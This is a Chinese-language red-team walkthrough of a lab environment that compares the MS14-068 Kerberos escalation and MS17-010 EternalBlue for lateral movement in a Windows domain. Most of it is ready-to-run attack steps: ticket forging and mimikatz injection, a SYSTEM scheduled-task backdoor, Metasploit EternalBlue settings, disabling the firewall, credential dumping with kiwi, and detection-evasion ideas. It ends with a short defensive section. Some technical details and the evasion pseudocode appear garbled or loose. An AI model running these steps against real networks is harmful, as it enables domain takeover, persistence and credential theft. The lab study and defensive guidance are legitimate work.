红日靶场四内网横向：MS14-068域提权漏洞利用与MS17-010实战对比分析

发布时间：2026/7/12 2:31:08

红队实战MS14-068与MS17-010在内网横向渗透中的深度对比与应用策略1. 漏洞背景与核心原理剖析在企业内网渗透测试中横向移动技术是红队评估的关键环节。MS14-068Kerberos域提权漏洞和MS17-010永恒之蓝作为两种经典的横向渗透技术其利用原理和适用场景存在显著差异。MS14-068漏洞机制漏洞编号CVE-2014-6324影响范围Windows Server 2003至2012 R2的域控制器核心缺陷Kerberos协议中的PAC特权属性证书验证缺失攻击条件# 伪代码示例PAC构造过程 def forge_pac(user_sid, domain_sid): pac generate_malicious_pac() pac.set_privileges(ADMIN_RIGHTS) pac.set_user_sid(user_sid) pac.set_domain_sid(domain_sid) return sign_pac_with_zero_key(pac)MS17-010漏洞机制漏洞编号CVE-2017-0143至CVE-2017-0148影响范围Windows 7至Windows 10的SMBv1协议实现核心缺陷SMB协议处理内存对象时的越界写入攻击流程# 典型利用步骤 1. 扫描目标445端口 2. 发送畸形SMB协商请求 3. 触发内核池溢出 4. 部署ROP链实现任意代码执行2. 实战环境搭建与前置准备2.1 靶场网络拓扑典型的三层架构靶场环境配置主机角色IP地址操作系统关键服务域控制器(DC)192.168.183.130Windows Server 2008AD DS, DNSWeb服务器192.168.183.128Ubuntu 16.04Apache, Docker域成员主机(WIN7)192.168.183.132Windows 7 SP1SMB, RDP2.2 工具准备清单MS14-068利用工具PyKEKPython版漏洞利用套件mimikatz票据注入工具MS17-010利用工具Metasploit Frameworkauxiliary/scanner/smb/smb_ms17_010EternalBlue独立利用脚本辅助工具- Proxychains代理链配置 - EarthWorm内网穿透 - Nmap端口扫描3. MS14-068完整利用链详解3.1 信息收集阶段获取域用户基础信息# 在已控主机上执行 net user /domain whoami /user # 获取当前用户SID nltest /dsgetdc:demo.com # 定位域控制器3.2 黄金票据生成使用PyKEK生成伪造的TGT票据MS14-068.exe -u douserDEMO.COM -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.183.130 -p Dotest123生成文件TGT_douserDEMO.COM.ccache3.3 票据注入与验证使用mimikatz进行内存注入kerberos::purge # 清除现有票据 kerberos::ptc TGT_douserDEMO.COM.ccache # 注入伪造票据验证权限提升效果dir \\WIN-ENS2VR5TR3N\c$ # 尝试访问域控共享3.4 持久化控制通过计划任务创建后门schtasks /create /S WIN-ENS2VR5TR3N /TN Maintenance /TR C:\shell.exe /SC DAILY /RU SYSTEM /F4. MS17-010实战利用与问题排查4.1 基础利用流程Metasploit模块配置use exploit/windows/smb/ms17_010_eternalblue set RHOSTS 192.168.183.132 set payload windows/x64/meterpreter/bind_tcp exploit4.2 常见失败原因分析错误现象可能原因解决方案目标系统蓝屏内存分配不稳定改用ms17_010_psexec模块连接超时防火墙拦截445端口先关闭防火墙netsh advfirewall set allprofiles state off漏洞检测成功但无法利用系统已安装补丁KB4012212切换其他横向移动方式4.3 稳定性优化技巧调整线程并发数set THREADS 3 # 降低并发提高稳定性使用Bind TCP替代Reverse TCPset payload windows/x64/meterpreter/bind_tcp5. 技术对比与战术选择5.1 特征对比表维度MS14-068MS17-010协议层Kerberos应用层SMB传输层所需凭证任意域账号密码SID无需凭证网络要求需能访问域控88端口需开放445端口成功率依赖域配置约85%依赖补丁状态约70%隐蔽性票据注入难以追踪会产生明显网络流量5.2 红队作战建议初期渗透阶段优先尝试MS17-010快速获取立足点使用auxiliary/scanner/smb/smb_version批量检测漏洞横向移动阶段graph TD A[获取域账号] -- B{MS14-068可用?} B --|是| C[票据注入攻击域控] B --|否| D[MS17-010攻击未补丁主机]权限维持阶段MS14-068更适合制作黄金票据实现持久化MS17-010需配合其他后门技术6. 防御策略与检测建议6.1 针对MS14-068的防护强制安装KB3011780补丁启用Kerberos事件审计auditpol /set /subcategory:Kerberos Service Ticket Operations /success:enable /failure:enable实施PAC验证HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Kerberos\Parameters ValidateKdcPacSignature 16.2 针对MS17-010的防护禁用SMBv1协议Disable-WindowsOptionalFeature -Online -FeatureName smb1protocol部署入侵检测规则alert tcp any any - any 445 (msg:ET EXPLOIT Possible EternalBlue Exploit; flow:established,to_server; content:|FF|SMB|2|; depth:4; byte_test:1,,0x80,0,relative; reference:cve,2017-0143; classtype:attempted-admin; sid:2024178; rev:2;)7. 进阶利用技巧与组合攻击7.1 漏洞组合利用案例场景一通过MS17-010获取初始立足点 → 提取域账号凭证 → 利用MS14-068攻击域控# 在Meterpreter会话中 load kiwi creds_all # 获取域账号密码场景二MS14-068失败时 → 使用MS17-010攻击其他域成员 → 收集更多凭证再次尝试7.2 绕过检测的创新方法MS14-068变种# 修改PyKEK的PAC生成算法 def generate_evasion_pac(): add_legitimate_services() # 添加合法服务票据降低异常 randomize_timestamps() # 随机化票据时间戳MS17-010混淆# 使用SSL隧道封装SMB流量 stunnel -c -d 445 -r 1445 -f -p /etc/stunnel/stunnel.pem在实际红队评估中我们更倾向于先使用MS17-010快速扩展控制范围当遇到补丁完善的环境时再转向基于Kerberos的MS14-068攻击。这种组合策略在最近一次的银行系统渗透测试中成功在4小时内完成了从外网到域控的全链条突破。